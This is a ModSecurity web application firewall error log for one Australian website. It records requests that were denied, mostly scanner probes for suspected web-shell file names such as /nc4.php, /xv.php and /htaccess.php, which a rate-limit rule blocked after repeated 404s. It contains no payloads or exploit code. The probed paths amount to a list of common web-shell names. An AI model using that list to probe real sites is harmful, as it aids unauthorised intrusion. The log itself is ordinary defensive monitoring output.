[Thu Dec 25 21:43:46.291760 2025] [:error] [pid 27869:tid 27876] [client 4.193.224.251:11075] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aU0_khNK7_n86kBD7qfOrQAAAIU"]
[Thu Dec 25 21:43:46.828480 2025] [:error] [pid 27869:tid 27882] [client 4.193.224.251:11101] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU0_khNK7_n86kBD7qfOrwAAAIs"]
[Thu Dec 25 21:43:47.306736 2025] [:error] [pid 22131:tid 22134] [client 4.193.224.251:10946] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU0_k5vVMtSTB4lX2fYtAQAAAEE"]
[Thu Dec 25 21:43:47.745422 2025] [:error] [pid 22044:tid 22096] [client 4.193.224.251:16773] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU0_k3PTC5rQKTB0FQ-UtAAAANU"]
[Thu Dec 25 22:38:54.746962 2025] [:error] [pid 27869:tid 27884] [client 43.166.136.24:35464] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aU1MfhNK7_n86kBD7qfnpQAAAI0"]
[Fri Dec 26 01:11:53.332159 2025] [:error] [pid 24862:tid 24874] [client 174.138.24.56:60881] [client 174.138.24.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed/"] [unique_id "aU1wWbt-eeEEuo-2JKgsoQAAAAg"]
[Fri Dec 26 01:34:49.343393 2025] [:error] [pid 24864:tid 24931] [client 4.194.153.244:20704] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU11ucu59XOK5DpQQdCeWwAAAUs"]
[Fri Dec 26 01:34:49.674728 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:20638] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU11uVfyLYxv3Jn9S71OcAAAAFU"]
[Fri Dec 26 01:34:50.039042 2025] [:error] [pid 24863:tid 24906] [client 4.194.153.244:20735] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU11uh8SaH2KMpp43vfxoAAAAM0"]
[Fri Dec 26 01:34:50.369179 2025] [:error] [pid 24863:tid 24914] [client 4.194.153.244:20619] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aU11uh8SaH2KMpp43vfxoQAAANU"]
[Fri Dec 26 01:34:50.758505 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:20707] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aU11ulfyLYxv3Jn9S71OcwAAAEY"]
[Fri Dec 26 01:34:51.091533 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:20610] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aU11u1fyLYxv3Jn9S71OdQAAAEU"]
[Fri Dec 26 01:34:51.358528 2025] [:error] [pid 24946:tid 24958] [client 4.194.153.244:20662] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aU11u1fyLYxv3Jn9S71OdwAAAEo"]
[Fri Dec 26 01:34:51.659524 2025] [:error] [pid 24864:tid 24936] [client 4.194.153.244:20729] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aU11u8u59XOK5DpQQdCeXAAAAVA"]
[Fri Dec 26 01:34:52.065246 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:20630] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU11vFfyLYxv3Jn9S71OegAAAFI"]
[Fri Dec 26 01:34:52.474969 2025] [:error] [pid 24864:tid 24926] [client 4.194.153.244:20722] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU11vMu59XOK5DpQQdCeXgAAAUY"]
[Fri Dec 26 01:34:52.745123 2025] [:error] [pid 24864:tid 24937] [client 4.194.153.244:20717] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU11vMu59XOK5DpQQdCeYAAAAVE"]
[Fri Dec 26 01:34:53.105235 2025] [:error] [pid 24864:tid 24927] [client 4.194.153.244:20703] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU11vcu59XOK5DpQQdCeYwAAAUc"]
[Fri Dec 26 01:34:53.444081 2025] [:error] [pid 24864:tid 24942] [client 4.194.153.244:20689] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU11vcu59XOK5DpQQdCeZgAAAVY"]
[Fri Dec 26 01:34:53.746214 2025] [:error] [pid 24864:tid 24938] [client 4.194.153.244:20628] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU11vcu59XOK5DpQQdCeaAAAAVI"]
[Fri Dec 26 01:34:53.999486 2025] [:error] [pid 24864:tid 24925] [client 4.194.153.244:3019] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU11vcu59XOK5DpQQdCeagAAAUU"]
[Fri Dec 26 01:34:54.537704 2025] [:error] [pid 24864:tid 24930] [client 4.194.153.244:20730] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aU11vsu59XOK5DpQQdCeawAAAUo"]
[Fri Dec 26 01:34:54.909049 2025] [:error] [pid 24863:tid 24904] [client 4.194.153.244:20728] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU11vh8SaH2KMpp43vfxogAAAMs"]
[Fri Dec 26 01:34:55.248049 2025] [:error] [pid 24864:tid 24941] [client 4.194.153.244:20731] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU11v8u59XOK5DpQQdCebwAAAVU"]
[Fri Dec 26 01:34:55.495146 2025] [:error] [pid 24863:tid 24902] [client 4.194.153.244:20679] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU11vx8SaH2KMpp43vfxowAAAMk"]
[Fri Dec 26 01:34:55.776491 2025] [:error] [pid 24862:tid 24888] [client 4.194.153.244:20685] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU11v7t-eeEEuo-2JKg1QAAAABY"]
[Fri Dec 26 01:34:56.068633 2025] [:error] [pid 24946:tid 24964] [client 4.194.153.244:20675] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU11wFfyLYxv3Jn9S71OewAAAFA"]
[Fri Dec 26 01:34:56.363662 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:3031] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU11wB8SaH2KMpp43vfxpQAAAMQ"]
[Fri Dec 26 01:34:56.648337 2025] [:error] [pid 24863:tid 24908] [client 4.194.153.244:20624] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU11wB8SaH2KMpp43vfxpgAAAM8"]
[Fri Dec 26 01:34:56.979537 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:20623] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU11wMu59XOK5DpQQdCecQAAAUI"]
[Fri Dec 26 01:34:57.206050 2025] [:error] [pid 24864:tid 24931] [client 4.194.153.244:20710] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU11wcu59XOK5DpQQdCecgAAAUs"]
[Fri Dec 26 01:34:57.458372 2025] [:error] [pid 24864:tid 24937] [client 4.194.153.244:20672] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU11wcu59XOK5DpQQdCedgAAAVE"]
[Fri Dec 26 01:34:57.827389 2025] [:error] [pid 24863:tid 24915] [client 4.194.153.244:3035] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU11wR8SaH2KMpp43vfxqgAAANY"]
[Fri Dec 26 01:34:58.171092 2025] [:error] [pid 24863:tid 24895] [client 4.194.153.244:3012] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU11wh8SaH2KMpp43vfxrQAAAMI"]
[Fri Dec 26 01:34:58.410957 2025] [:error] [pid 24863:tid 24917] [client 4.194.153.244:20719] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU11wh8SaH2KMpp43vfxrgAAANg"]
[Fri Dec 26 01:34:58.739223 2025] [:error] [pid 24862:tid 24873] [client 4.194.153.244:20609] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU11wrt-eeEEuo-2JKg1QwAAAAc"]
[Fri Dec 26 01:34:59.075568 2025] [:error] [pid 24863:tid 24905] [client 4.194.153.244:20713] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU11wx8SaH2KMpp43vfxsgAAAMw"]
[Fri Dec 26 01:34:59.536711 2025] [:error] [pid 24863:tid 24903] [client 4.194.153.244:20617] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU11wx8SaH2KMpp43vfxtAAAAMo"]
[Fri Dec 26 01:35:00.003841 2025] [:error] [pid 24864:tid 24924] [client 4.194.153.244:20732] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU11xMu59XOK5DpQQdCeeAAAAUQ"]
[Fri Dec 26 01:35:00.705031 2025] [:error] [pid 24946:tid 24952] [client 4.194.153.244:20734] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU11xFfyLYxv3Jn9S71OgAAAAEQ"]
[Fri Dec 26 01:35:01.020626 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:3042] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU11xVfyLYxv3Jn9S71OhAAAAFU"]
[Fri Dec 26 01:35:01.431353 2025] [:error] [pid 24864:tid 24923] [client 4.194.153.244:20697] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU11xcu59XOK5DpQQdCefAAAAUM"]
[Fri Dec 26 01:35:01.952517 2025] [:error] [pid 24864:tid 24921] [client 4.194.153.244:20681] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU11xcu59XOK5DpQQdCefgAAAUE"]
[Fri Dec 26 01:35:02.326720 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:20655] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU11xsu59XOK5DpQQdCegAAAAVc"]
[Fri Dec 26 01:35:02.707209 2025] [:error] [pid 24864:tid 24939] [client 4.194.153.244:20720] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU11xsu59XOK5DpQQdCeggAAAVM"]
[Fri Dec 26 01:35:03.371694 2025] [:error] [pid 24864:tid 24941] [client 4.194.153.244:20686] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU11x8u59XOK5DpQQdCehgAAAVU"]
[Fri Dec 26 01:35:03.699593 2025] [:error] [pid 24863:tid 24894] [client 4.194.153.244:20636] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU11xx8SaH2KMpp43vfxugAAAME"]
[Fri Dec 26 01:35:04.066742 2025] [:error] [pid 24864:tid 24932] [client 4.194.153.244:20683] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU11yMu59XOK5DpQQdCeiAAAAUw"]
[Fri Dec 26 01:35:04.560201 2025] [:error] [pid 24864:tid 24940] [client 4.194.153.244:20656] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU11yMu59XOK5DpQQdCeiwAAAVQ"]
[Fri Dec 26 01:35:04.848352 2025] [:error] [pid 24864:tid 24937] [client 4.194.153.244:3025] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU11yMu59XOK5DpQQdCejgAAAVE"]
[Fri Dec 26 01:35:05.182198 2025] [:error] [pid 24864:tid 24927] [client 4.194.153.244:20692] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aU11ycu59XOK5DpQQdCekAAAAUc"]
[Fri Dec 26 01:35:05.560353 2025] [:error] [pid 24946:tid 24964] [client 4.194.153.244:20641] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aU11yVfyLYxv3Jn9S71OjwAAAFA"]
[Fri Dec 26 01:35:05.832617 2025] [:error] [pid 24862:tid 24877] [client 4.194.153.244:20711] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aU11ybt-eeEEuo-2JKg1SwAAAAs"]
[Fri Dec 26 01:35:06.086841 2025] [:error] [pid 24863:tid 24911] [client 4.194.153.244:20708] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aU11yh8SaH2KMpp43vfxxwAAANI"]
[Fri Dec 26 01:35:06.445625 2025] [:error] [pid 24863:tid 24903] [client 4.194.153.244:20625] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aU11yh8SaH2KMpp43vfxyAAAAMo"]
[Fri Dec 26 01:35:06.708158 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:20634] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aU11ysu59XOK5DpQQdCelgAAAVc"]
